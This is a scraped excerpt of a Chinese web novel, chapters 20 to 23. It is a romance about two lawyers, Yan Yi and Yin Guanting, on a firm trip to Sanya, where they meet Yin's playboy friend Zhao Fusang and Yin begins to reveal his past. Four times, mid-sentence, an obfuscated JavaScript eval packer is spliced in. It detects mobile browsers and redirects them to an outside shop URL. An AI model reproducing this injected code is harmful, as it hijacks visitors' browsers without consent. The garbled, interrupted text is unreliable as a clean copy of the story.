以后再也不说西装束缚了，还能有什么比束腰更束缚的吗！ 看见束腰，严熤不自然了一瞬。 腰侧似乎还能感受到尹观庭手掌的温度。 他看着镜子中的自己，摇了摇头，魔怔了吧。 20. 第 20 章 虽然宫廷长裙穿起来难受，但好在排练的时候并不需要带妆，严熤没有多受折磨，而且很快就到了王信鸿安排的三亚之行的出发之日，业余剧组成员们高高兴兴到C市机场，准备出发去海边。 好吧也不都是高高兴兴。 早上八点的飞机，七点所有人就已经在安检口等着了，夜猫子们显然已经很久没有这么早起床了，个个萎靡不振，恨不得航班取消大家回去睡觉。 严熤也是睡眼惺忪的一员，相比于女孩子们，他就背了一个双肩包，带着电脑和几套换洗的衣服，于是在其他人办理托运的时候，他就坐在安检口外的休息椅上昏昏欲睡。 知道一个人拍了拍他。 严熤醒过来一看，尹观庭到了。 尹律和他一样轻装简行，提了一个小巧的行李箱，衬衫西裤薄风衣，鼻梁上一副无框眼镜，整个人就是大写的斯文雅致。严熤看看他，在看看自己——白T短裤白色板鞋，脸上还有昨天熬夜打游戏留下来的黑眼圈——对比那叫一个鲜明。 早知道就换身衣服了。 严熤脑子里突然冒出来一个念头。 尹观庭不知道他这突如其来的攀比心，把人叫醒之后问道：“你托运办完了吗？” “我不用托运，”严熤举了举手里的背包，“东西都在这儿呢。” 尹观庭点点头：“其他人呢？” 严熤往托运口看了看，小陶他们还在排队办理托运。明明不是节假日，但机场依然熙熙攘攘，托运窗口排了长长的队，二十分钟过去，小陶他们也就堪堪进入排队的第一序列而已。 尹观庭顺着他的视线看过去，同样看到了托运口的几个人，他拿出手机看了看时间，招呼严熤：“我们先去安检，一会儿登机口见。” 严熤：“……好的。” 他其实不太想和尹观庭单独相处，自从上次女装被尹观庭逮到，还差点在人面前摔一跤开始，他在尹观庭面前就有种诡异的尴尬，就像是有什么把柄被人抓住了一样。 他自己也知道这样的尴尬莫名其妙，而且哪怕那天尹观庭没看到，后面周年庆表演的时候他也得穿，到时候整个律所都会见证他的女装皮肤，本来是做好了心理准备的，但不知道为什么，面对尹观庭还是有种说不出的不自在。 他犹豫的一瞬间被尹观庭察觉到了，有些疑惑地问他：“怎么了，你要等他们吗？” “不不不……”严熤赶紧摇头，他对待自己的情绪向来坦诚，这种不自在憋了三天已经是极限了，于是跟着尹观庭往登机口走的路上，忍不住问了一句：“师兄你觉得那天我穿的那个衣服，奇怪吗？” 尹观庭反应了一下才明白他说的是哪个衣服，脑子里不由自主地划过了白皙一片的肩颈，盈盈一握的腰腹。 这下换尹律不自在了，他“咳”了一声才问道：“你怎么会这么想？” “我不知道啊！”严熤委屈，“当时穿上就感觉很奇怪，很别扭，都后悔答应她们了。” “但你已经答应了，后悔也没用，”尹观庭戳了他一刀，见严熤幽怨的眼神，不由得笑了笑，“不过倒是不奇怪，你穿上……很漂亮。” 后面几个字放轻了声音，他们本就差不多高，又是并排走在安检队列里，最后的评价仿佛耳语，不知道是因为吹拂在耳边的气息还是入耳的话语，严熤的耳朵几乎是立竿见影地红了起来，连带着脖颈都有红意蔓延。 不自在的感觉达到了顶峰，严熤往旁边队列灵活地一窜，给尹观庭留下一句话：“那什么，那边人少我先过去了。” 尹观庭说完也有些莫名，对着同性说漂亮本身就很奇怪，但他还没来得及有所反应，严熤已经耳朵通红地躲到一边去了，于是那些怪异的感觉都被好笑取代了，他在原来的队列了笑了笑，看了看前方排队的人群，对即将开始旅行升起了一丝期待之情。 经尹大律师神来一笔，严熤倒是之前的不自在丢开了，从C市到三亚的三个小时飞行过程中，他熟练地把各种情绪都抛在了一边，等一行十三人出机场时，严熤已经和平时一般无二了。 尹观庭看着开朗大方的严熤，内心倒是有些说不清道不明的遗憾，不过接下来的行程也没有给他多少时间思考，一行人在周舟的带领下上了租来的小客车，向着酒店疾驰而去。 他们订的酒店是一家海边的星级酒店，距离机场一个小时车程，然而路上一路堵车，到酒店的时候已经过去了足足三个小时，到了下午两点，一行人又困又饿还热，在酒店大堂里唉声叹气的。 王信鸿见状，只能让大家先到房间休息，中午随便吃点，把订好的椰子鸡火锅挪到了下午。 作为主任团队的编外人员，尹观庭和严熤理所当然地分到了一间。 进了房间把空调打开，严熤总算是松了一口气，本来C市夏天就够热了的，但显然海南更胜一筹，而且他们租的车不知道哪里有问题，空调功率不够，一路过来严熤差点没热吐。 他进门直接往床上一趟，都没力气和尹观庭客气，脑袋埋在枕头里说了一句：“师兄我先睡一会儿。” 尹观庭听着他闷闷的声音，随口“嗯”了一声，自己准备去洗澡换衣服。 等他从浴室出来，严熤已经睡熟了，T恤和裤边卷了上去，腰腹和一截大腿大咧咧地露在外边，白皙一片直接撞进了尹观庭眼睛里。 他擦头发的手顿了顿，走到床边把被子给严熤盖上，自己坐到了窗边，遥遥眺望着大海。 看着远处澄静的蓝天白云和大海，尹观庭却静不下心来，内心一阵烦躁，可也找不到这股莫名郁气的来源，对着外边的风景发了一会儿呆，他干脆起身，打算到一楼的咖啡厅里买杯咖啡。 楼下的咖啡厅不愧是五星级酒店的配套，足够高档清幽，尹观庭看了看环境，干脆改了外带的想法，找了一个安静的角落坐下，点了一杯店里的招牌和一份甜点。 一会可以带一块回去，花里胡哨的，严熤应该喜欢。 脑子里不期然冒出来一个想法，尹观庭翻看菜单手都停了下来，他觉得自己最近在非工作时间内想起严熤的时候有点多，这可不是什么好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740068|145162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兆头。 尹观庭长到三十多岁，外表俊雅，家世煊赫，看上去是有七八个前女友的样子，但事实上他感情经历还真是少的可怜，大学本科期间有过一段短暂的恋情，大三在一起毕业就分手，毕业之后就把一切都献给了工作，时至今日基本已经习惯了一个人，除了几个老友，待人接物都隔着一层清晰而厚重的壁垒。 但严熤…… 他和年轻的自己很像，所以不由自主地多了几分宽容，然后就这么纵容着关系越来越近，关系一亲近，就会越来越牵扯注意力…… 尹观庭沉思中都没发现对面坐了一个人。 来人五官不算十分突出，但比例不错，加上嘴角带痞笑，有种疏阔洒脱的气质，整体算得上俊朗，他一身酒红色丝质短袖衬衫，胸口还骚包的别了一只玫瑰花，见尹观庭自顾自地低头想事，“啧”了一声在尹观庭面前打了一个响指。 尹观庭闻声抬头，看见对面的人，有些惊讶：“赵扶桑？你怎么在这？” 赵扶桑一脸不正经的笑：“相约不如偶遇啊尹律师，好久不见了。” “确实很久不见了，”尹观庭露出一个待人接物专属微笑，“差不多有四五年了吧？” 赵扶桑算得上尹观庭的发小，赵家的企业在新能源行业同样占有一席之地，是光源集团长久合作的供应商之一，也因此，两家家长关系不错，连带着孩子也从小在一块玩。 不过后面尹观庭离开帝都来到C市，赵扶桑则是在帝都当自己的纨绔子弟，直到五年前，尹观澜亲自来C市把尹观庭抓回了家，两人才在帝都见过一面。 “啧，好歹也是青梅竹马，你就不能笑的真诚一点。”赵扶桑对他的敷衍假笑很是不满。 尹观庭干脆不笑了：“你在这干嘛，度假吗？” 赵扶桑脸上阴霾一闪而过，接着勾起惯常的笑：“那可不是，度蜜月呢~” 尹观庭这下是真的吃惊了：“你结婚了？什么时候的事情？” “还没呢，这不是刚刚订婚嘛，女方你认识，孙家大小姐孙婷。趁还没进入婚姻的坟墓，我得赶紧带我的漂亮姑娘来玩一玩。” 尹观庭一时无言，他和赵扶桑成年之后渐行渐远不是没理由的，两人高中之后就玩不到一起去，赵扶桑花花公子做派，换女人如换衣服，尹观庭则是个事业狂，当初一腔孤勇和家里人闹得十分僵硬，更不可能参加赵扶桑那些鬼混的派对。 “那祝你玩得开心。”沉默半天，尹观庭选择礼貌祝贺。 赵扶桑被他气笑了：“哎，故意的是吧！你还不如不说话呢，不过……”他像是想到了什么，露出一个恶劣的笑，“我可以委托你的吧？帮我起草一份婚前财产协议？” “可以是可以，你们的财产公证了吗？”尹观庭语气平静，对他一副要搞事的样子视而不见。 “啧，”赵扶桑有些失望，但很快说道，“那些都不急，主要就是，假如我和孙婷离婚了，那么婚前财产都归她所有，这条一定要约定的明明白白。” 尹观庭：“……你认真的？” 21. 第 21 章 严熤一觉睡到了下午四点，一睁眼群里就是99+的消息。 吓得他立马清醒了，还以为自己被同伴遗弃在了酒店，点开信息一看，原定的火锅已经取消了，鉴于大部分人不愿意顶着太阳出门，只想在酒店摸鱼，于是王信鸿无奈之下把午饭改成了酒店送餐，保留了晚上的海鲜烧烤大餐，还严令所有人必须参加。 然而主任的威严还没建立起来，砸场子的人就来了。 尹观庭在群里发了一句：“今天我和严熤得加班，你们去吃，我们自己解决。” 本来窥屏挺快乐的严熤：“？？？” 怎么地我就要加班了！ 晴天一道霹雳搞得严熤半晌没回神，过了一会才退出群界面，看到尹观庭半个小时前发的私聊：“醒了吗？醒了就下来，酒店一层咖啡厅的‘蓝山梦’包厢。” 严熤吸了一口气，把加班的怨气都吐出去，赶紧给尹观庭回了一条消息。 尹观庭秒回：“下来。” 看起来是很急，严熤在卫生间随便抹了把脸，背起电脑往楼下赶，寻思了半天也没想到是什么案件着急到现在要加班。 等到了包间，一进门就是扑面而来的酒气。 严熤定睛一看，尹观庭自己坐在一边盯着电脑，而对面的长沙发上则躺了一个醉醺醺的男人，五官俊朗身材修长，一双长腿在沙发上颇有些无处安放的感觉。 这……严熤有些迟疑。 尹观庭见他到了，指着身边的椅子说道：“坐吧，我把事情跟你说一下。” 严熤只好把好奇压制住，打开电脑听尹观庭安排。 打扰假期的工作居然还是两个项目的，一个是之前不良资产处置的案件，异地委托的律师时隔一个月可算是把需要的案件材料调出来了，客户一个电话打过来，尹观庭只能叫上严熤先把资料梳理一下。另外一个则是宏远集团的专项，宏远的谭总不知道从哪儿搞来一堆新的材料，说是和项目相关，让律师先给看一下。 严熤怀疑这货就是来找茬的，前期要求宏远提供的材料清单中根本没有这些东西，但委托人提供的材料，哪怕是废纸也得是仔细研究过的废纸，何况尹老板都没说什么，严熤一个小助理只能跟着照做。 两人用了一下午，才堪堪梳理出一个大概。 “行了，今天先到这吧，我们先去吃饭。”尹观庭把电脑一合，招呼严熤，“你想吃什么？” 严熤有气无力：“什么都行，我不挑食。” “那不如我请二位吃个饭吧~”突如其来的男声把两人都惊了一下，严熤这才想起来这个包厢里还有一个人，他看了一眼斜躺在沙发的男人，又把疑惑的眼神递给了尹观庭。 尹观庭揉揉眉心：“你不去找你的漂亮姑娘了？” “这哪儿能丢下兄弟和这位小帅哥呢。”赵扶桑嬉皮笑脸，意味深长地看了一眼严熤。 尹观庭一看他这眼神就有问题，放下手，眼含威胁：“这是我助理，严熤。” 言下之意就是你少打主意。 赵扶桑投降似的举举双手：“明白明白，小严律师是吧，我姓赵，赵扶桑，尹律的好兄弟。” “您好。”严熤十分客气。 他总觉得这二位之间的气场着实不像好兄弟。 尹观庭懒得理他脸上贴金的行为，今天下午他本来要回房间的，结果赵扶桑把那个儿戏一样的婚前协议看得跟真的一样，非要拉着尹观庭进行“咨询”——事实上就是抱怨家里非要他联姻——然后借酒消愁把自己灌醉了。 尹观庭在当垃圾桶的途中还接到了两个突如其来的事情，于是顺理成章地一般敷衍一边专心处理工作，等他反应过来，赵扶桑已经醉得睡过去了。 这时尹律才发现自己根本没有赵扶桑那个漂亮姑娘的电话，总不能把人仍在咖啡馆，于是只好呆在包间里处理工作。 现在人醒了，尹观庭第一反应就是大路朝天各走一边，实在不想跟这个花花公子掰扯，而且赵扶桑这人男女不忌，只要脸好啥都可以，他总不能带着严熤在火坑旁边试探。 但是赵扶桑显然没有这个眼力见，自顾自地订了一个餐厅就说自己去取车，晃晃悠悠地出门去了。 严熤看出来尹观庭冷脸下的不乐意，问道：“师兄我们？” “跟上吧，”尹观庭深吸一口气，“难道还能看着他喝成那样去开车吗。” “……说得也是。” 赵扶桑作为一个富二代出手并不小气，订的餐馆很是上档次，吃完之后一个漂亮的姑娘找了过来，还没等赵扶桑做介绍，尹观庭果断丢下两人带着严熤走了。 等坐上回酒店的计程车，尹观庭才问道：“吃好了吗？ “嗯？”严熤从手机里抬头，回了个笑，“吃好了，他家的菜还挺好吃的。” 那就行。尹观庭微微颔首。 他吃饭时一般不怎么说话，于是饭桌上就是赵扶桑一直拉着严熤聊天，问东问西的，严熤也真是好脾气，有问必答，哪怕遇到一些不想回答的隐私问题，回复也是相当婉转。 显然赵扶桑没把他之前的警告当回事。 尹观庭看着窗外，手指不自觉地点着大腿，过了一会儿，他拿出手机给赵扶桑发了条信息： “你说孙婷知道我在这里吗？” 赵扶桑几乎是秒回：“？？？” 赵扶桑既然和孙婷订婚了，那赵、孙两家就不可能由着他带着婚约乱搞，起码面上如此，尹观庭相信赵扶桑来海南的理由肯定不会是什么陪漂亮姑娘。但现在既然被尹观庭逮住了，他往两家一捅，那不管孙小姐本人介不介意，结果都得介意一下。 这消息几乎是明晃晃的威胁，赵扶桑自然看得出来，接到消息先是懵逼，苦思冥想好一会儿，最后寻思着得罪尹观庭的地方似乎大概也许就是自己在餐桌上开了那个小助理几句玩笑？ 赵扶桑决定试探一下：“我就开了几句玩笑你要不要这么认真？” 尹观庭给他回了一个系统自带表情：“微笑.JPG” “嘶……”赵扶桑不由得吸了一口气。 身边的美人看了过来，柔声询问：“怎么了？” “没事，发现了个好玩的事情，”赵扶桑长臂一揽，把女人往自己怀里一拉，人跟着压了下去，“明天你自己去玩儿，帐记我身上，我去给老朋友送个礼物……” 语气含糊下去，很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740069|145162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快就是一室春光。 赵扶桑的礼物来得相当快。 第二天早上，天人和的众位律师们在酒店的餐厅吃了一顿颇具风情的特色早餐之后，就在酒店门口等着车来接，今天的行程是冲浪和潜水。 然而左等右等不见熟悉的商务巴士，反而一辆豪华大巴停在了众人面前。 大巴的门打开，赵扶桑穿着花衬衫大裤衩下车，墨镜别在领口，十分风骚地跟众人打了声招呼：“嚯，各位大状早上好啊~我是你们今天的导游。” 众人：“……？！” 在外人面前，尹观庭强行忍住了翻白眼的冲动，昨天晚上接近凌晨的时候，赵扶桑一个电话打过来，说知道了天人和律所的团建流程，那他就做东给大家升级一下套餐，算是给尹观庭和严熤的赔罪。 尹观庭这才想起来，周舟安排的行程是一家旅游咨询公司给的方案，其中酒店、巴士和行程活动是绑定的套餐，而那家旅游公司和入住的这个酒店，好像就是赵家名下的。 尹观庭：“……” 这还真是没想到。 赵扶桑权当没看见尹观庭的冷脸，十分不见外地揽上尹观庭的肩：“怎么样，哥们儿安排的够有面子吧！” 说完没等尹观庭动手，就很自觉地远离，然后招呼律所众人上车，十分自来熟地跟大家闲聊： “我？我是你们尹律的发小，叫我赵哥就行。“ “我俩什么关系？哈哈哈那可是铁打的交情！他好不容易来一趟海南我肯定要招待好。” “这么大车当然不浪费，上面还有冲浪啊什么的设备和教练、专业的水下摄影设备，我还找了几个厨师，晚上我们野烧烤，保证大家吃好玩好。” “……” 王信鸿落在后面一点，和尹观庭嘀咕：“昨天你说你朋友安排的时候，没说这么大阵仗啊。” 尹观庭面无表情：“因为我也不知道。” “那他不会找咱们加钱的哈？” 尹观庭：“……不至于。” “那就行。”王信鸿一听白来的午餐，顿时笑眯眯地上车享受去了。反正尹观庭家世在那摆着呢，他的发小出手阔绰完全可以理解。 最后没上车的就只有严熤和尹观庭了。 尹观庭看了看身边的青年：“你怎么还没上去？” “我等你啊，”严熤眼神无辜，“嗯……我昨天就想问了，师兄你是不是不太喜欢这位赵，赵先生？” 尹观庭被问得一愣。 他跟赵扶桑大学之后就渐渐疏远了，但从小一起长大的感情自然不是假的，否则他也不会对赵扶桑这么不客气。 对待陌生人，尹观庭永远都是斯文而有礼的。 “你为什么想这么问？” 严熤十分耿直：“因为感觉你不太高兴的样子。” 青年看着他，眼神专注，尹观庭能清晰地看到瞳孔里倒映的自己。 “一般来说有朋友费心费力的安排，大部分人都会很开心吧？最多就是有点不好意思，但师兄你完全不是，给我感觉就是，你不是很想见到他，为什么？” 是啊，为什么呢？ 尹观庭一时没有回答。 22. 第 22 章 赵扶桑给一行十一人安排了四个教练，一人带俩。 于是分配完毕，大家各自准备，就只剩下四个人面面相觑。 王信鸿四十好几，烟酒一个不落，身体状态本就告急，对冲浪潜水这种高消耗运动敬谢不敬，自己溜溜达达地沿着岸边散步去了。而作为剩下三人中唯一什么都不会的严熤，得到了两位教练指导的殊荣。 严熤：“……” 总觉得自己变成了这二位较劲的工具人。 趁着换泳衣的功夫，赵扶桑挨了过来，低声跟尹观庭叨叨：“你不是看不上跟着你的那些助理吗？这次这么热心？” 尹观庭瞥他一眼：“诽谤是要负法律责任的。” “啧，”赵扶桑自讨没趣，闲闲道，“看这么紧，不知道还以为这小孩儿是你小情人呢。” 尹观庭脱衣服的动作一顿，不动声色地看了一眼不远处的严熤——青年专心换衣服，似乎没听到这边的动静——他这才抬眼看赵扶桑，警告意味十足：“少拿你那些欢乐场上的事往我身上套。” 赵扶桑看似无聊的转头，内心兴味更浓了。与其说他想招惹严熤，不如说想招惹的是尹观庭，毕竟那可是从小到大别人家的孩子。 “没了赵家你还有什么？你以为你能跟尹家老二学？” “要是他能有尹颂小儿子一半的出息，我也懒得管他!” “别人也是大哥当家，没见别人一团烂泥！” “……” 赵扶桑眼神沉了沉。 尹观庭……同性恋……呵，也不知道传回帝都那些赞不绝口的老古板怎么想…… 尹观庭虽然不知道他在想什么，但是凭着从小一起长大的默契，隐约感到了这货想搞事的心态，只是一时拿不准他想干嘛。 不过好在赵扶桑算是整个行程的负责人，一直跟着他们的正牌导游找了过来，尹观庭得以和严熤单独相处，趁着指导严熤姿势的时间，他犹豫了半天还是说道：“赵扶桑……你离他远点。” “嗯？”正在兴致勃勃摆弄的冲浪板的严熤抬头，漂亮的眼睛里满是疑惑。 尹观庭有些无奈，眼光一不小心瞥到了严熤的腰腹，流畅的线条收进黑色泳裤中，向下是一双笔直修长的腿。 他得承认赵扶桑眼光确实很好，严熤身材外貌确实很符合这群富二代猎艳的胃口。 但是他从那样的境地里走出来，怎么也不该被人这么对待。 于是他只能委婉提醒：“赵公子风流惯了，你自己要留两个心眼。” “嗯？！……不可能吧！”严熤脑子转了两圈，听懂了，整个人都惊呆了。 作为网瘾青年，他当然知道同性恋，甚至在学校里他和余畅也被同学们起哄过，但作为一个直男，他的思维天然不会往那方面拐弯，甚至有点怀疑尹观庭的判断。 自己跟赵扶桑的交集就是那一顿饭吧？整个相处也没有一个小时啊！ 而且凭借严熤自己的外貌，他不是没遇到对他有那方面想法的人，赵扶桑的看他眼神里完全看不到类似的欲望。 但这些话在尹观庭“你怎么这么天真”的表情下，一句都没说出来。 后面他也没捞着和赵扶桑单独相处的机会，一个上午几乎是尹观庭手把手教他上板、控制平衡、然后再从水里把呛水的人捞出来。 严熤口腔里充斥着古里古怪的味道，整个人都不好了，他半倚在尹观庭肩上，喘着气示意自己认输。 尹观庭一笑：“就这点出息。” 他笑得很放松，和平时端庄斯文的笑容截然不同，如墨的瞳孔在阳光下微微泛光，严熤竟然从他的眼神里感受到了一种莫名的宠爱。 这莫名其妙的念头搞得严熤一阵激灵，下意识直起身子。 温热的体温离开，严熤有些不自然地搓了搓手臂，掩饰道：“师兄你自己还没怎么玩吧，不用管我了，我休息一下。” 尹观庭看了看时间，临近中午，海风渐渐大了起来，越来越急的浪确实不是新手能挑战的难度，他也有好几年没玩过了，听严熤这么一说，也就从善如流打算动动筋骨。 他带着冲浪板往海洋深处走去。 此时的海浪虽然算不上很大，但对于一群生长在内陆的办公族来说，已经足以把人拍在沙滩上，律所众人大部分都已经在沙滩上瘫住了，只有寥寥两三人还在海里翻腾。 尹观庭这一动，顿时把所有人目光都吸引了过来。 有几个社交恐怖分子已经开始大喊“尹律来一个”了。 严熤无语，平时这帮人哪敢这么放肆，只能说律所的大魔王脱下板正的正装后威严都没有了。 而从严熤的视角看过去，尹观庭已经走得非常深了，脸上不由自主就带了几分担忧。 “放轻松，这才多大浪，以前尹二在澳洲的时候，玩得那叫一个疯。” 发现自己插不进去二人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740070|145162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的教学世界，赵扶桑很自觉地走开了，这会儿严熤一个人站在一边，他又很自然地凑了过来，随口安慰一句。 严熤：“……” 刚刚尹观庭的话着实给了他一点小小的富二代震撼，这会儿跟赵扶桑相处满是不自在，半天别扭地应了一声：“嗯……谢谢。” “噗……”赵扶桑乐了，“为什么要说谢谢？” 严熤也很尴尬，难道还能说随口敷衍的吗？ 不过赵扶桑并没有在意，只是不经意提到：“这些年他性格变了挺多，我还以为他再也不会碰这些运动了。” 严熤没抗住吃瓜的诱惑，默念几声对不起后果断开口：“为什么？” “因为这些不正经啊，”赵扶桑笑，“我们这种家庭，要玩可以玩最好的，但只能玩。” 没等严熤有所反应，赵扶桑接着说道：“以前尹观庭哪儿有这么精英沉稳啊，中二病一个，金融学的好好的，结果莫名其妙去考了个法学的研究生……” 严熤这还是第一次听到尹观庭过去的事情，不由自主地专注了几分。但赵扶桑跟故意吊人胃口一样：“嗨，不说了，反正现在他都成大律师了，虽然在C市，但帝都都有不少人听过他，也算是得偿所愿了。” 严熤表情一言难尽，你怎么还没被人打死。 赵扶桑被他的表情逗得哈哈乐，上手拍了拍人肩膀，低声念念道：“有意思，我这下是真的想抢了。” “什么？”严熤没听清。 但还没等他说话，沙滩上的吃瓜群众们突然爆发出一阵尖叫，严熤猛然抬头看向大海。 一道道蔚蓝的海浪自海天相接处而来，细密的白色泡沫仿佛飞雪，在层叠的浪中，白色冲浪板上的人猛然跃起，侧身展臂，灵巧地在波浪上划过，跟随着大海的声音回到岸边。 仿佛一只海燕从海天相接处飞来。 一瞬间，严熤仿佛听到了心跳和潮声的和音。 尹观庭回到沙滩，一眼就看到和赵扶桑站在一起的严熤，眉头皱了皱，信步走过来，直接安排：“赵公子，下面该吃饭了吧？” “嗯哼，”赵扶桑答应，顺手拍了拍严熤，“下午我教你潜水，咱们可以继续聊聊那个事情。” 说完转身就走，活像有鬼在追。 直接被扣了一口锅的严熤：“……” 一转头对上尹观庭严厉的目光：“……” 靠！我跟他什么都没说！ 23. 第 23 章 从下往上看，光仿佛经过上好的玻璃棱镜，在海中留下了一道道清晰而明亮的线条，然而下方却又一片漆黑，似乎藏有择人而噬的野兽。 看得久了，里面似乎真的出现了一道漆黑而不可名状的身影。 但严熤口里含着呼吸管，气体自口中呼出，气泡源源不断在身侧升起，他连屏息凝神都做不到，只能感到一阵比一阵强烈的窒息感。 他感觉自己在挣扎，然而模糊的意识并不受控制…… 直到有一双手握住了他的臂膀，一股大力袭来，带着他离开了那道令人惊怖的视线。 …… 严熤猛然从梦中醒来，大口大口的呼吸着。 逐渐清晰的视线中勾勒出一道修长的身影。 尹观庭端着一杯水站在他的床边，皱眉看着他：“没事吧？” “……”严熤深吸一口气，“没事。” 话一出口，嗓子哑的不像话。 尹观庭顺势把水递给他：“要是早知道你有这么严重的反应，就不应该让你下水。” 严熤喝了口水，勉强笑了笑：“不管怎样我都会下去的，毕竟我老早就好奇潜水是什么感觉了。” “好奇心害死猫。”尹观庭抬抬眼皮，随口接了一句。 下午的潜水活动进展的还算顺利，严熤兴致勃勃地跟着尹观庭在浅海区晃悠，水下的风景虽然不如电视纪录片那样惊艳，但对于生长在内陆的人来说，已经足够值回票价了。 然而谁都没想到，严熤随手在海中岩石上一抹，竟然摸出来一条花花绿绿的海参，本来因为水压就有点头晕的严熤这下是彻底绷不住了，莫名而来的恐惧攥住了他的心神，要不是尹观庭一直拉着他，差点在海中失去平衡，发觉不对尹观庭当机立断带着人上浮，等到了海面，气压带来的不适感更加明显，严熤忍了又忍，等上了接渡船，当场表演了一个大吐特吐。 自己感觉似乎把五脏六腑都吐出来了。 还以为缓了七八个小时已经好了，没想到梦里也不得安宁。 严熤半躺在床上闭了闭眼，随即便是一阵恶心，顿时睡不下去了，坐起身来，有些歉意地看着尹观庭：“师兄对不起，吵醒你了，要不你接着睡吧？我下楼去走走。” 尹观庭虽然有些倦意，但他平时睡眠就很浅，被人吵醒之后也很难入睡，而且作为律所高级合伙人、本次团建的带队领导之一，他也不可能深更半夜放人一个人出去乱逛，想了想干脆说：“我也不太想睡了，我跟你一起下去吧。” 严熤也没拒绝。 于是凌晨三点，两人顺着酒店大堂出门，往海边去了。 他们入住的酒店就在海边，距离最近的海滩还不到一百米，两个身高腿长的大男人走了没几分钟就到了海边，夜晚有些凛冽的海风吹过来，伴着海浪声声，严熤的恶心感总算是缓解了一些。 尹观庭借着远处酒店的灯光观察了一下严熤。 看的不是很清楚，但面色似乎好了一些。 他笑了一下：“你这算什么情况？按理说深海恐惧症也不是你这个样子的。” 严熤诚实地摇头：“我也不知道，可能就是单纯的被吓到了，我有些时候惊吓过度会头晕恶心之类的。” “被一只海参吓到？” “干嘛！猫狗都能吓到人，何况那么大一只，还花花绿绿的，一看就有毒。” “噗……” “啧，不要仗着自己是老板就嘲笑员工，小心我……” “嗯？” “……我什么都没说。” “哈哈哈……”尹观庭这下是真的忍不住了，笑了起来。 或许夜晚本就让人思绪万千，也或许是身边陪伴的人太过无害，尹观庭总觉得自己已经很久没有这么放松地跟人说一些毫无意义的废话了。 “哗啦——哗啦——” 海浪一道一道涌来，在暗色天空下呈现一种墨玉般的质感，严熤盯着浪花看了一会儿，也许是两人之间气氛太好，他忍不住把好奇很久的问题问出了口：“师兄，你以前是读金融的吗？” 想了想，他把那句“为什么要考法学的研究生”咽了回去。 但人精如尹观庭，自然知道他的未尽之意：“赵扶桑跟你说的？” “咳……”严熤顿时想起尹观庭的警告。 “早就让你离他远点，”尹观庭不太认真地教训一句，转而说道，“我本科期间修双学位，法学和金融学，考研只是二选一而已。” 就这么简单？ 严熤直觉不信，主要原因当然是赵扶桑那一副很有故事的沧桑表情。 尹观庭……尹观庭并没有继续说话。 按理说那件事过去了快十年，这么些年下来，他现在阅历深厚，功成名就，早就有足够的心智去处理年少时留下的伤疤，然而心结之所以是心结，盖因当事人自己都不愿意去理会线头。 “当时……发生了一些事情。”尹观庭喉结滚了滚，艰难吐出几个字。 要是王信鸿在这，估计得感动的老泪纵横，从恩师李教授，到他这个和尹观庭关系亲近的师兄，大家都试图让尹观庭从失败的阴影中走出来，然而尹观庭一直死犟，把伤疤捂得严严实实，用严苛繁忙的工作把一切关心挡的严严实实，仿佛这样就能掩盖掉当年的无能为力一样。 但这又没用，当年高分考入R大社会法学专业，在劳动人事方面学术嗅觉敏锐地让人赞叹的高材生，至今连看一眼劳动争议案件的勇气都没有，还不够说明问题吗？ “嗯？后来呢？” 严熤上前几步，走到他前面，转了个身，一边倒退着走路，一边认真看着尹观庭。 他黑亮的瞳孔中映着碎月，星星点点的。 这和老师、师兄看他的眼神不同，没有宽慰没有怜惜更没有隐约的恨铁不成钢，有的只是单纯的好奇和眼睛主人都没注意的信任，仿佛他尹观庭做出什么决定都是天经地义的。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740071|145162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 平心而论，他有那么值得严熤信任吗？ 尹观庭内心翻腾，但不得不说，这样纯粹的眼神反而安抚他那些无处安放的羞耻，好像他真的变得坦荡而无所不能，能够对过去的一切坎坷悠然以待。 于是那些他以为再也不会回顾的事情就这么简单说出口了。 “大概是大三实习的时候吧，我当时和家里闹了些矛盾，放弃了在光源集团的实习，去了一个师兄的律所，恰好我前男友家里出事了，需要一个律师，我就以他代理人的身份做了人生第一个案件……结果有点惨烈，我不太能接受，干脆直接放弃了金融，转而专攻法律。” 后面的话基本没能进入严熤的脑子，他满脑子都是三个字： 前男友前男友前男友…… 严熤目瞪口呆。 